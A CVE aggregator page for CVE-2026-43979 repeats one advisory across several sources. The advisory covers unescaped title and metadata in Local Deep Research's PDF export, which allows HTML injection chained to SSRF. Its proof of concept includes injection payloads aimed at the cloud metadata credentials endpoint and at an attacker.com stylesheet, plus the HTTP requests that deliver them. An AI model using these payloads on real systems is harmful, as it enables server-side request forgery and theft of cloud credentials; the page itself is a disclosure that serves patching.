Every CVE Search/ Get API key

CVE-2026-43979

Local Deep Research: HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)

5.0 MediumFix available

CVE-2026-43979 is a medium vulnerability (CVSS 5.0) in Learningcircuit Local-deep-research, published May 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in local-deep-research 1.6.0.

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.33%Up 0.3 points since May 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.0

Local Deep Research: HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Record
CVE-2026-43979
CVSS 3.1
5.0 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-79, CWE-918
Updated
2026-11-02
EUVDEUVD-2026-32978 5.0

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Record
EUVD-2026-32978
CVSS 3.1
5.0 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-fj2m-qvh9-jq4q 5.0

local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.


Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.


Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

**Lightweight verification (no SSRF environment…

Record
GHSA-fj2m-qvh9-jq4q
CVSS 3.1
5.0 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-79, CWE-918
Updated
2026-11-02
NVD 5.0

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Record
CVE-2026-43979
CVSS 3.1
5.0 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-79, CWE-918
Updated
2026-11-02
OSV 5.0

Local Deep Research: HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Record
CVE-2026-43979
CVSS 3.1
5.0 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-79, CWE-918
Updated
2026-11-02
OSVGHSA-fj2m-qvh9-jq4q 5.0

local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.


Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.


Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

**Lightweight verification (no SSRF environment…

Record
GHSA-fj2m-qvh9-jq4q
CVSS 3.1
5.0 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-79, CWE-918
Updated
2026-11-02
OSVPYSEC-2026-2610 5.0

local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.


Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.


Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

**Lightweight verification (no SSRF environment…

Record
PYSEC-2026-2610
CVSS 3.1
5.0 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
local-deep-research
PyPI
before 1.6.0
1.6.0
local-deep-research
PyPI
before 1.6.0, plus listed versions
0.1.00.1.10.1.120.1.130.1.14
Show 45 moreShow less
0.1.150.1.160.1.170.1.180.1.190.1.200.1.210.1.220.1.230.1.240.1.250.1.260.2.00.2.20.2.30.3.00.3.10.3.100.3.110.3.120.3.20.3.30.3.50.3.60.3.80.3.90.4.00.4.10.4.20.4.30.4.40.5.00.5.20.5.30.5.40.5.50.5.60.5.70.5.90.6.00.6.10.6.40.6.50.6.71.0.0
1.6.0

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, NVD, OSV

References

Show 4 moreShow less
This page doesn't list everything

Left out here: 82 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open